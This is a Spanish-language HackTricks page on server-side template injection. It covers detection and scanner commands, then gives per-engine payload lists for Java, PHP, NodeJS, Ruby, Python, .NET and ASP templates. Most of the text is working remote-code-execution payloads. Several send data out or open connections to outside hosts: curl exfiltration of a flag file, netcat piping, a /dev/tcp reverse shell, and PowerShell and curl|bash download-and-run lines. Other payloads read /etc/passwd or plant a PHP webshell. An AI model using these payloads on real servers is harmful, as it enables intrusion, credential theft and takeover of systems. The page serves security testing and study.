SSTI (Server Side Template Injection)

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.

¿Qué es la inyección de plantillas en el lado del servidor (SSTI)?

La inyección de plantillas en el lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.

Jinja es un motor de plantillas popular utilizado en aplicaciones web. Consideremos un ejemplo que demuestra un fragmento de código vulnerable utilizando Jinja:

output = template.render(name=request.args.get('name'))

En este código vulnerable, el parámetro name de la solicitud del usuario se pasa directamente al template usando la función render. Esto potencialmente podría permitir a un atacante inyectar código malicioso en el parámetro name, lo que llevaría a una inyección de plantillas en el servidor.

Por ejemplo, un atacante podría crear una solicitud con un payload como este:

http://vulnerable-website.com/?name={{bad-stuff-here}}

El payload {{bad-stuff-here}} se inyecta en el parámetro name. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente obteniendo control sobre el servidor.

Para prevenir vulnerabilidades de inyección de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté correctamente saneada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.

Detección

Para detectar la Inyección de Plantillas en el Servidor (SSTI), inicialmente, la prueba de plantillas es un enfoque directo. Esto implica inyectar una secuencia de caracteres especiales (${{<%[%'"}}%\) en la plantilla y analizar las diferencias en la respuesta del servidor ante datos regulares versus esta carga especial. Los indicadores de vulnerabilidad incluyen:

  • Errores arrojados, revelando la vulnerabilidad y potencialmente el motor de plantillas.

  • Ausencia del payload en la reflexión, o partes faltantes, lo que implica que el servidor lo procesa de manera diferente que los datos regulares.

  • Contexto de Texto sin formato: Distinguir de XSS comprobando si el servidor evalúa expresiones de plantilla (por ejemplo, {{7*7}}, ${7*7}).

  • Contexto de Código: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar greeting en http://vulnerable-website.com/?greeting=data.username para ver si la salida del servidor es dinámica o fija, como en greeting=data.username}}hello devolviendo el nombre de usuario.

Fase de Identificación

Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos del lenguaje. Los payloads comunes que causan errores incluyen ${7/0}, {{7/0}} y <%= 7/0 %>. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.

Herramientas

un escáner eficiente de SSTI + CSTI que utiliza políglotos novedosos

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

una tabla interactiva que contiene los políglotos de inyección de plantillas más eficientes junto con las respuestas esperadas de los 44 motores de plantillas más importantes.

Exploits

Genérico

En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:

Java

Java - Inyección básica

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Obtener las variables de entorno del sistema

${T(java.lang.System).getenv()}

Java - Obtener /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Puedes probar tus payloads en https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Salto de la caja de arena

⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Más información

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Más información

Thymeleaf

En Thymeleaf, una prueba común para vulnerabilidades de SSTI es la expresión ${7*7}, la cual también se aplica a este motor de plantillas. Para una posible ejecución remota de código, se pueden usar expresiones como las siguientes:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, el inlineado de expresiones es compatible para otras ubicaciones de plantillas, utilizando una sintaxis como [[...]] o [(...)]. Por lo tanto, un simple payload de prueba de SSTI en Thymeleaf podría verse como [[${7*7}]].

Sin embargo, la probabilidad de que este payload funcione generalmente es baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores necesitarían implementar su propio TemplateResolver para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.

Thymeleaf también ofrece preprocesamiento de expresiones, donde las expresiones dentro de doble guion bajo (__...__) son preprocesadas. Esta característica se puede utilizar en la construcción de expresiones, como se muestra en la documentación de Thymeleaf:

#{selection.__${sel.code}__}

Ejemplo de Vulnerabilidad en Thymeleaf

Considere el siguiente fragmento de código, el cual podría ser susceptible a explotación:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Esto indica que si el motor de plantillas procesa estas entradas de manera incorrecta, podría llevar a la ejecución de código remoto accediendo a URLs como:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Más información

pageEL - Expression Language

Marco Spring (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Saltar filtros

Se pueden usar múltiples expresiones de variables, si ${...} no funciona, prueba con #{...}, *{...}, @{...} o ~{...}.

  • Leer /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizado para la generación de payloads

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Más Información

Manipulación de Vistas de Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
pageEL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versión antigua de Pebble ( < versión 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nueva versión de Pebble:

{% set cmd = 'id' %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código Java arbitrario en el servidor afectado.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en https://github.com/HubSpot/jinjava/

Jinjava - Ejecución de comandos

Corregido por https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Más información

Hubspot - HuBL (Java)

  • Delimitadores de declaración {% %}

  • Delimitadores de expresión {{ }}

  • Delimitadores de comentario {# #}

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Buscar "com.hubspot.content.hubl.context.TemplateContextRequest" y descubrir el proyecto Jinjava en Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Más información

Lenguaje de Expresión - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

El Lenguaje de Expresión (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans administrados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:

  • JavaServer Faces (JSF): Emplea EL para vincular componentes en páginas JSF con los datos y acciones de backend correspondientes.

  • JavaServer Pages (JSP): EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de página con los datos de la aplicación.

  • Contexts and Dependency Injection for Java EE (CDI): EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans administrados, asegurando una estructura de aplicación más coherente.

Consulte la siguiente página para obtener más información sobre la explotación de intérpretes EL:

pageEL - Expression Language

Groovy (Java)

Los siguientes bypasses del Administrador de Seguridad fueron tomados de este informe.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Más información

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Formato de plantilla

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Más información

Plates (PHP)

Plates es un motor de plantillas nativo de PHP, inspirado en Twig. Sin embargo, a diferencia de Twig, que introduce una nueva sintaxis, Plates aprovecha el código PHP nativo en las plantillas, lo que lo hace intuitivo para los desarrolladores de PHP.

Controlador:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Plantilla de página:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Plantilla de diseño:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Más información

PHPlib y HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB es lo mismo que PHPlib pero portado a Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Más información

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Más información

patTemplate (PHP)

patTemplate es un motor de plantillas PHP que no compila, el cual utiliza etiquetas XML para dividir un documento en diferentes partes.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Más información

Handlebars (NodeJS)

Travesía de ruta (más información aquí).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Error

  • ${7*7} = ${7*7}

  • Nada

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Más información

JsRender (NodeJS)

Plantilla

Descripción

Evaluar y renderizar la salida

Evaluar y renderizar la salida codificada en HTML

Comentario

y

Permitir código (deshabilitado por defecto)

  • = 49

Lado del Cliente

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Lado del Servidor

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Más información

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Ejemplo de renderizado en el servidor

var pugjs = require('pug');
home = pugjs.render(injected_page)

Más información

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = Sin salida

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = Error

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Más información

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Más información

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

Más información

Python

Consulta la siguiente página para aprender trucos sobre burlar las cajas de arena de ejecución de comandos arbitrarios en Python:

pageBypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}






{{os.system('whoami')}}
{{os.system('whoami')}}

Más información

Jinja2 (Python)

Sitio web oficial

Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo para Unicode, un entorno de ejecución en sandbox integrado opcional, ampliamente utilizado y con licencia BSD.

  • {{7*7}} = Error

  • ${7*7} = ${7*7}

  • {{foobar}} Nada

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Formato de plantilla

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

RCE no dependiente de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Más detalles sobre cómo abusar de Jinja:

pageJinja2 SSTI

Otros payloads en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Más información

Razor (.Net)

  • @(2+2) <= Éxito

  • @() <= Éxito

  • @("{{código}}") <= Éxito

  • @ <= Éxito

  • @{} <= ¡ERROR!

  • @{ <= ¡ERROR!

  • @(1+2)

  • @( //Código C# )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4M...

El método System.Diagnostics.Process.Start de .NET se puede utilizar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en https://github.com/cnotin/RazorVulnerableApp

Más información

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = Nada

  • <%= response.write(date()) %> = <Date>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Más Información

Mojolicious (Perl)

Incluso si es perl, utiliza etiquetas como ERB en Ruby.

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= perl code %>
<% perl code %>

SSTI en GO

En el motor de plantillas de Go, la confirmación de su uso se puede hacer con payloads específicos:

  • {{ . }}: Revela la estructura de datos de entrada. Por ejemplo, si se pasa un objeto con un atributo Password, {{ .Password }} podría exponerlo.

  • {{printf "%s" "ssti" }}: Se espera que muestre la cadena "ssti".

  • {{html "ssti"}}, {{js "ssti"}}: Estos payloads deberían devolver "ssti" sin agregar "html" o "js". Se pueden explorar más directivas en la documentación de Go aquí.

Explotación de XSS

Con el paquete text/template, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete html/template codifica la respuesta para evitar esto (por ejemplo, {{"<script>alert(1)</script>"}} resulta en &lt;script&gt;alert(1)&lt;/script&gt;). Sin embargo, la definición e invocación de plantillas en Go puede evitar esta codificación: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

Explotación de RCE

La explotación de RCE difiere significativamente entre html/template y text/template. El módulo text/template permite llamar directamente a cualquier función pública (usando el valor "call"), lo cual no está permitido en html/template. La documentación de estos módulos está disponible aquí para html/template y aquí para text/template.

Para RCE a través de SSTI en Go, se pueden invocar métodos de objetos. Por ejemplo, si el objeto proporcionado tiene un método System que ejecuta comandos, se puede explotar como {{ .System "ls" }}. Por lo general, es necesario acceder al código fuente para explotar esto, como en el ejemplo dado:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Más información

Más exploits

